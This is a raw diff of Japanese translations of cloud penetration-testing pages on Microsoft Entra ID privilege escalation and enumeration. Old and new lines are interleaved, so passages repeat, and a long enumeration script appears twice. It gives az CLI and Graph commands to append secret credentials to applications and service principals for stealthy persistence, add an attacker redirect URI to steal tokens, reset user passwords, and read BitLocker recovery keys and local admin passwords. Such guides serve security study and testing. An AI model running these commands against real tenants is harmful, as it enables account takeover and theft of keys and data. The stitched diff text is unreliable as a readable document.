### `microsoft.directory/applications/credentials/update`
これにより攻撃者は既存のアプリケーションに**資格情報**(パスワードまたは証明書)を追加できます。アプリケーション特権のある権限がある場合、攻撃者はそのアプリケーションとして認証し、その権限を得できます。
これにより攻撃者は既存のアプリケーションに**資格情報を追加する**(パスワード証明書)ことができます。アプリケーション特権的な権限を持っている場合、攻撃者はそのアプリケーションとして認証し、当該権限を得できます。
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
これは `applications/credentials/update` と同じアクションを許可しますが、単一ディレクトリアプリケーションにスコープされています。
これは `applications/credentials/update` と同じ操作を許可しますが、単一ディレクトリアプリケーションに限定されます。
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
攻撃者は自分自身をオーナーとして追加することで、アプリケーションを操作できるようになり、資格情報や権限を含むことができます。
自分自身を owner として追加することで、attacker は credentials や permissions を含むアプリケーションを操作できます。
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,40 +77,153 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
攻撃者はテナントのユーザーによって使用されているアプリケーションにリダイレクトURIを追加し、新しいリダイレクトURLを使用したログインURLを共有することで、トークンを盗むことができます。ユーザーがすでにアプリケーションにログインしている場合、認証は自動的に行われ、ユーザーが何かを承認する必要はありません
攻撃者はテナントのユーザーが使用しているアプリケーションにリダイレクトURIを追加し、その新しいリダイレクトURIを使たログインURLをユーザーと共有してトークンを盗むことができます。ユーザーが既にそのアプリケーションにログインしている場合、認証は自動的に行われ、ユーザーが何かを承認する必要はない点に注意してください
また、アプリケーションが要求する権限を変更してより多くの権限を取得することも可能ですが、の場合ユーザーはすべての権限を要求するプロンプトを再度承認する必要があります。
また、アプリケーションが要求する権限を変更してより多くの権限を取得することも可能ですが、の場合ユーザーが全ての権限を要求するプロンプトを再度承認する必要があります。
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### アプリケーションの権限昇格
**[この投稿](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)で説明されているように**、デフォルトのアプリケーションに **API permissions** の型が **`Application`** に割り当てられていることは非常に一般的でした。Entra ID コンソールで呼ばれる API Permission の型 **`Application`** は、アプリがユーザーコンテキスト(アプリへのユーザーログインなし)なしで API にアクセスして操作を行うことができ、Entra ID のロールを必要としないことを意味します。したがって、ほとんどの Entra ID テナントで **高権限のアプリケーションを見つけるのは非常に一般的**です。
そのため、攻撃者がアプリケーションの **credentialssecret or certificateを更新する権限ロール** を持っている場合、攻撃者は新しい credential を生成し、それを使って **アプリケーションとして認証authenticate as the application** し、アプリケーションが持つすべての権限を得ることができます。
言及されたブログは一般的な Microsoft のデフォルトアプリケーションのいくつかの **API permissions** を示していますが、この報告の後に Microsoft はこの問題を修正し、現在 Microsoft のアプリケーションとしてログインすることはできなくなっています。しかし、悪用され得る **高権限を持つカスタムアプリケーション** を見つけることは依然として可能です。
アプリケーションの API permissions を列挙する方法:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>非 Microsoft API への API permissions を持つすべてのアプリケーションを見つける (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
## サービスプリンシパル
### `microsoft.directory/servicePrincipals/credentials/update`
これにより攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルに昇格した権限がある場合、攻撃者はその権限を引き継ぐことができます。
これにより攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルが高い権限を持っている場合、攻撃者はその権限を行使できます。
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> 新しく生成されたパスワードはウェブコンソールに表示されないため、これはサービスプリンシパルに対して持続性を維持するための隠れた方法となる可能性があります。\
> APIからは次のコマンドで見つけることができます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
> 新しく生成されたパスワードはウェブコンソールに表示されないため、これは service principal に対してステルスに持続性を維持する方法になり得ます。\
> API からは次のコマンドで見つけられます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
エラー `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`表示された場合、それは**SPpasswordCredentialsプロパティを変更することはできないため**であり、最初にロックを解除する必要があります。そのためには、次のコマンドを実行するための権限(`microsoft.directory/applications/allProperties/update`)が必要です:
もしエラー `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`た場合、それは **SPpasswordCredentials プロパティを変更することはできない** ためで、まずアンロックする必要があります。アンロックするには、実行を許可する権限(`microsoft.directory/applications/allProperties/update`)が必要です:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
これにより、攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルに昇格された権限がある場合、攻撃者はその権限を引き継ぐことができます。
これにより、攻撃者は既存のサービスプリンシパルに対して資格情報を追加できます。サービスプリンシパルが高い権限を持っている場合、攻撃者はその権限を行使できるようになります。
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
アプリケーションと同様に、この権限はサービスプリンシパルに追加のオーナーを追加することを許可します。サービスプリンシパルのオーナーであること、その資格情報と権限を制御することを可能にします。
アプリケーションと同様に、この権限は service principal にさらに所有者を追加することを許可します。service principal を所有すること、その資格情報と権限を制御できます。
```bash
# Add new owner
spId="<spId>"
@@ -128,13 +241,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> 新しいオーナーを追加した後、削除しようとしましたが、APIDELETEメソッドがサポートされていないと応答しました。オーナーを削除するために必要なメソッドであってもです。したがって、**現在オーナーを削除することはできません**。
> 新しい所有者を追加した後、削除しようとしましたが、APIDELETE method がサポートされていないと応答しました。所有者を削除するにはその method を使う必要があるにもかかわらずです。したがって、**現在は所有者を削除できません**。
### `microsoft.directory/servicePrincipals/disable` `enable`
### `microsoft.directory/servicePrincipals/disable` および `enable`
これらの権限は、サービスプリンシパルを無効にしたり有効にしたりすることを許可します。攻撃者は、この権限を使用して、何らかの方法でアクセスできるサービスプリンシパルを有効し、権を昇格させることができます。
これらの権限により、service principals を無効化および有効化できます。attacker はこの権限を使て、何らかの方法でアクセスできる service principal を有効し、権を昇格させることができます。
この技術では、攻撃者が有効されたサービスプリンシパルを乗っ取るためにさらに多くの権限が必要であることに注意してください。
この手法では、attacker が有効された service principal を乗っ取るためにさらに多くの権限が必要になる点に注意してください。
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -144,7 +257,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
これらの権限はシングルサインオンのための資格情報を作成および取得することを可能にし、サードパーティアプリケーションへのアクセスを許可する可能性があります。
これらの権限はシングルサインオンの資格情報を作成・取得でき、サードパーティアプリケーションへのアクセスを可能にする恐れがあります。
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -164,44 +277,36 @@ az rest --method POST \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
### アプリケーションの特権昇格
**[この投稿](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)で説明されているように**、デフォルトのアプリケーションに**API permissions**のタイプ**`Application`**が割り当てられているのを見つけることは非常に一般的でした。**`Application`**タイプのAPI PermissionEntra IDコンソールで呼ばれるは、アプリケーションがユーザーコンテキストアプリにユーザーがログインしていない状態なしでAPIにアクセスでき、Entra IDのロールを必要としないことを意味します。したがって、**すべてのEntra IDテナントにおいて高特権のアプリケーションを見つけることは非常に一般的です**。
次に、攻撃者が**アプリケーションの資格情報(シークレットまたは証明書)を更新することを許可する権限/ロール**を持っている場合、攻撃者は新しい資格情報を生成し、それを使用して**アプリケーションとして認証**し、アプリケーションが持つすべての権限を取得できます。
前述のブログでは、一般的なMicrosoftのデフォルトアプリケーションのいくつかの**API permissions**が共有されていますが、この報告の後、Microsoftはこの問題を修正し、現在はMicrosoftアプリケーションとしてログインすることはできなくなりました。しかし、**悪用される可能性のある高特権のカスタムアプリケーションを見つけることは依然として可能です**。
---
## グループ
### `microsoft.directory/groups/allProperties/update`
この権限は、特権グループにユーザーを追加することを許可し、特権昇格につながります。
この権限により、ユーザーを privileged groups に追加でき、privilege escalation を引き起こします。
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**注意**: この権限は Entra ID ロール割り当てグループを除外します。
**注意**: この権限は Entra ID role-assignable groups を除外します。
### `microsoft.directory/groups/owners/update`
この権限グループのオーナーになることを許可します。グループのオーナーはグループのメンバーシップ設定を制御でき、グループに対して権限をエスカレートする可能性があります。
この権限により、グループの所有者になることが可能になります。グループの所有者はグループのメンバーシップ設定を制御でき、グループに対する権限の昇格を引き起こす可能性があります。
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**注**: この権限は Entra ID ロール割り当てグループを除外します。
**注**: この権限は Entra ID role-assignable groups を除外します。
### `microsoft.directory/groups/members/update`
この権限グループにメンバーを追加することを許可します。攻撃者は自分自身や悪意のあるアカウントを特権グループに追加することで、昇格したアクセスを付与することができます。
この権限により、グループにメンバーを追加できます。攻撃者は自分自身や悪意のあるアカウントを特権グループに追加し、より高い権限を得ることができます。
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
この権限は、動的グループのメンバーシップルールを更新することを許可します。攻撃者は、明示的追加なしに特権グループに自分自身を含めるために動的ルールを変更する可能性があります。
この権限により、dynamic group の membership rule を更新できます。attacker は dynamic rules を変更して、自分を privileged groups に明示的追加することなく含めることができます。
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -212,11 +317,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**注意**: この権限は Entra ID ロール割り当てグループを除外します。
**注意**: この権限は Entra ID role-assignable groups を除外します。
### ダイナミックグループの特権昇格
### Dynamic Groups Privesc
ユーザーが自のプロパティを変更してダイナミックグループのメンバーとして追加されることで、特権を昇格させることが可能な場合があります。詳細については、以下を確認してください:
ユーザーが自のプロパティを変更して dynamic groups のメンバーとして追加されることで escalate privileges する可能性があります。詳細以下を参照してください:
{{#ref}}
dynamic-groups.md
@@ -226,13 +331,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
この権限は非管理者ユーザーのパスワードをリセットすることを許可し、潜在的な攻撃者が他のユーザーに対して特権を昇格させることを可能にします。この権限はカスタムロールに割り当てることはできません。
この権限は非管理者ユーザーのパスワードをリセットすることを許可し、潜在的な攻撃者が他のユーザーへ escalate privileges することを可能にします。この権限はカスタムロールに割り当てることはできません。
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
この権限はユーザーのプロパティを変更することを許可します。プロパティの値に基づいてユーザーを追加する動的グループが一般的に見られるため、この権限によりユーザー特定の動的グループのメンバーになるために必要なプロパティ値を設定し、権限を昇格させることができる可能性があります。
この権限はユーザーのプロパティを変更することを許可します。プロパティの値に基づいてユーザーを追加する動的グループを見つけることはよくあるため、この権限によりユーザー特定の動的グループのメンバーになるために必要なプロパティ値を設定し、権限を昇格させることができます。
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -248,9 +353,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## 条件付きアクセスポリシーとMFAバイパス
## Conditional Access Policies & MFA bypass
MFAを要求する誤設定された条件付きアクセスポリシーはバイパスされる可能性があります。確認してください:
MFA を要求する誤設定された conditional access policies はバイパスされる可能性があります。以下を確認してください:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
この権限により、攻撃者はデバイスの所有者として自分自身を割り当て、デバイス固有の設定やデータへの制御またはアクセスを得ることができます。
この権限により、攻撃者は自分自身をデバイスの所有者に割り当てることで、デバイス固有の設定やデータへの制御アクセスを得ることができます。
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -271,7 +376,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
この権限は攻撃者が自分のアカウントをデバイスに関連付けアクセスをたりセキュリティポリシーを回避したりすることを可能にします。
この権限は攻撃者が自分のアカウントをデバイスに関連付けアクセスを取得したりセキュリティポリシーをバイパスしたりすることを可能にします。
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -282,7 +387,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
この権限、攻撃者Microsoft Entraに参加しているデバイスのバックアップされたローカル管理者アカウント資格情報のプロパティを読み取ることを許可します。これにはパスワードが含まれます。
この権限により、攻撃者Microsoft Entra に参加しているデバイスのバックアップされたローカル管理者アカウント資格情報のプロパティpassword を含む)を読み取ることができます。
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -297,7 +402,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
この権限はBitLockerキーアクセスすることを許可し、攻撃者がドライブを復号化し、データの機密性を侵害する可能性があります。
この権限は BitLocker キーへのアクセスを許可し、攻撃者がドライブを復号してデータの機密性を侵害する可能性があります。
```bash
# List recovery keys
az rest --method GET \
@@ -308,7 +413,7 @@ recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## その他の興味深い権限 (TODO)
## その他の興味深い権限TODO
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`

View File

@@ -4,13 +4,13 @@
## 基本情報
Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。従業員が社内外のリソースにサインインしてアクセスすることを可能にし、Microsoft 365、Azure portal、その他多数の SaaS アプリケーションを含むリソースへのアクセスを扱います。Azure AD の設計は、特に **認証、認可、およびユーザー管理**含む重要なアイデンティティサービスの提供に焦点を当てています。
Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。従業員がサインインして組織内外のリソース(Microsoft 365、Azure portal、および多数の他の SaaS アプリケーションを含む)にアクセスできるようにするために重要な役割を果たします。Azure AD **認証、認可、およびユーザー管理**提供することに重点を置いて設計されています。
Azure AD の主な機能には**多要素認証** と **条件付きアクセス**および他の Microsoft セキュリティサービスとのシームレスな統合が含まれます。これらの機能はユーザーのアイデンティティのセキュリティを大幅に高め、組織がアクセス方針を効果的に実装・適用することを可能にします。Microsoft のクラウドサービスエコシステムにおける基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベース管理において極めて重要です。
Azure AD の主な機能には **多要素認証** および **条件付きアクセス** が含まれ、他の Microsoft セキュリティサービスとのシームレスな統合も備えています。これらの機能はユーザーのアイデンティティのセキュリティを大幅に向上させ、組織がアクセス方針を効果的に実施・強制することを可能にします。Microsoft のクラウドサービスエコシステムの基本的な構成要素として、Azure AD はクラウドベースでのユーザーアイデンティティ管理において重要な存在です。
## 列挙
### **接続**
### 接続
{{#tabs }}
{{#tab name="az cli" }}
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
任意のプログラムで**CLI**経由で**Azure**に**login**すると、**Microsoft**に属する**tenant**の**Azure Application**を使用しています。これらのApplicationsは、あなたのアカウントで作成できるものと同様に**client idを持っています**。コンソールで確認できる**allowed applications lists**にすべて表示されるわけではありませんが、デフォルトで許可されています。
任意のプログラムで**ログイン**を介して**CLI**経由で**Azure**に接続すると、**Microsoft**に属する**tenant**の**Azure Application**を使用しています。これらのApplicationsは、あなたのアカウントで作成できるものと同様に**クライアントIDを持っています**。コンソールで確認できる**許可されたアプリケーション一覧**では**それらをすべて見ることはできません**が、**デフォルトで許可されています**
たとえば、認証を行う**powershell script**は、client id **`1950a258-227b-4e31-a9cf-717495945fc2`** を持つアプリを使用します。たとえそのアプリがコンソールに表示されなくても、sysadminはそのアプリを**block**することができるため、ユーザーそのApp経由して接続するツールを使えなくなります。
えば、**powershell script**が**認証する**場合、クライアントIDが**`1950a258-227b-4e31-a9cf-717495945fc2`**アプリを使用します。そのアプリがコンソールに表示されていなくても、システム管理者はそのアプリを**ブロックする**ことができ、ユーザーそのApp経由接続するツールを使ってアクセスするのを防げます。
しかし、Azureに接続を**will allow you to connect to Azure**する**other client-ids**を持つアプリケーションが他にもあります:
しかし、**他の client-ids**を持つアプリケーションがあり、それらは**Azure に接続できる**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -227,7 +227,7 @@ az account tenant list
### ユーザー
Entra ID ユーザーの詳細については、次を参照してください
Entra ID ユーザーの詳細については、次を参照してください:
{{#ref}}
../az-basic-information/
@@ -364,17 +364,17 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA と Conditional Access ポリシー
### MFA と Conditional Access Policies
すべてのユーザーにMFAを追加すること強く推奨します。ただし、企業によってはMFAを未設定であったり、Conditional Access を使って設定している場合がありますユーザーは特定の場所ブラウザ、または**ある条件**からログインした場合に**required MFA if**となります。これらのポリシーは正しく構成されていないと**bypasses**の対象となる可能性があります。確認してください
すべてのユーザーにMFAを設定すること強く推奨されますが、企業によっては未設定であったり、Conditional Accessで設定する場合があります: ユーザーは特定の場所ブラウザ、または**ある条件**からログインした場合に**MFAが要求される**ことになります。これらのポリシーは正しく構成されていないと**bypasses**の対象になり得ます。確認してください:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Groups
### グループ
Entra ID groups の詳細についてはを参照してください
Entra ID groups の詳細については、以下を参照してください:
{{#ref}}
../az-basic-information/
@@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
#### グループにユーザーを追加
グループの所有者はグループに新しいユーザーを追加できます
グループの所有者は新しいユーザーをグループに追加できます
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> グループは動的に設定でき、基本的に **ユーザーが特定の条件を満たすとそのユーザーがグループに追加される** ということを意味します。もちろん、条件が **属性** に基づいており、**ユーザー** がそれを **制御** できる場合、そのユーザーはこの機能を悪用して **他のグループに入る** 可能性があります。\
> 動的グループ悪用する方法は次のページを参照してください:
> グループは動的に構成でき、基本的に **ユーザーが特定の条件を満たすとグループに追加される** という意味です。もちろん、その条件が **ユーザーが操作できる属性** に基づく場合、この機能を悪用して **他のグループに入る** 可能性があります。\
> 動的グループ悪用方法は次のページを参照してください:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
### サービスプリンシパル
Entra ID のサービスプリンシパルに関する詳細は次を参照してください:
Entra ID のサービスプリンシパル詳細は次を参照してください:
{{#ref}}
../az-basic-information/
@@ -602,7 +602,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
<details>
<summary>各 Enterprise App を一覧表示し、各 Enterprise App に client secret を追加できるか試す</summary>
<summary>各 Enterprise App を一覧化し、client secret を追加できるか試す</summary>
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -709,16 +709,16 @@ Write-Output "Failed to Enumerate the Applications."
### アプリケーション
アプリケーションの詳細については次を参照してください:
アプリケーションの詳細については次を参照してください:
{{#ref}}
../az-basic-information/
{{#endref}}
App が生成されると、2種類の権限が付与されます
Appが生成されると、2種類の権限が付与されます
- **Permissions** が **Service Principal** に付与される
- **Permissions** を **app** がユーザーに代わって保持・使用できる
- **権限** が **Service Principal** に付与される
- **権限** を **app** **ユーザーに代わって** 保有・使用できる
{{#tabs }}
{{#tab name="az cli" }}
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Microsoft以外のAPIへのAPI権限を持つすべてのアプリケーションを見つける (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
{{#endtab }}
{{#tab name="Az" }}
@@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> 権限 **`AppRoleAssignment.ReadWrite`** を持つアプリは、自分自身にそのロールを付与することで **Global Admin に昇格** することができます。\
> permission **`AppRoleAssignment.ReadWrite`** を持つアプリは、自分自身にそのロールを付与することで **Global Admin** に昇格できます。\
> 詳細は [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48) を参照してください。
> [!NOTE]
> アプリがトークンを要求する際に自分の識別を証明するために使用する秘密文字列アプリケーションパスワードです。\
> したがって、この **password** を見つければ **service principal** として **tenant** 内にアクセスできます。\
> このパスワードは生成時にのみ表示されます(変更は可能ですが再取得はできません)。\
> **owner** が **application** に **password を追加** することもでき(その結果なりすますことが可能)、\
> これらの service principal としてのログインは **リスクあり** とマークされず、**MFA** も適用されません。
> アプリケーションがトークンを要求する際に自身の身元を証明するために使用する秘密文字列アプリケーションパスワードです。\
> したがって、この**パスワード**を見つければ**サービスプリンシパル**として**テナント**内でアクセスできます。\
> このパスワードは生成時にのみ表示される点に注意してください(変更は可能ですが再取得はできません)。\
> **アプリケーション**の**オーナー**はそれに**パスワードを追加**できるため(なりすましが可能になります)、\
> これらのサービスプリンシパルとしてのログインは**リスクとしてマークされず**、**MFA適用されません。**
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
Microsoftに属する一般的に使用されるApp IDのリストは [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) で確認できます。
### Managed Identities
Managed Identities に関する詳細は次を参照してください:
Managed Identities 詳細は次を参照してください
{{#ref}}
../az-basic-information/
@@ -850,9 +925,9 @@ az identity list --output table
{{#endtab }}
{{#endtabs }}
### Azure ロール
### Azure ロール
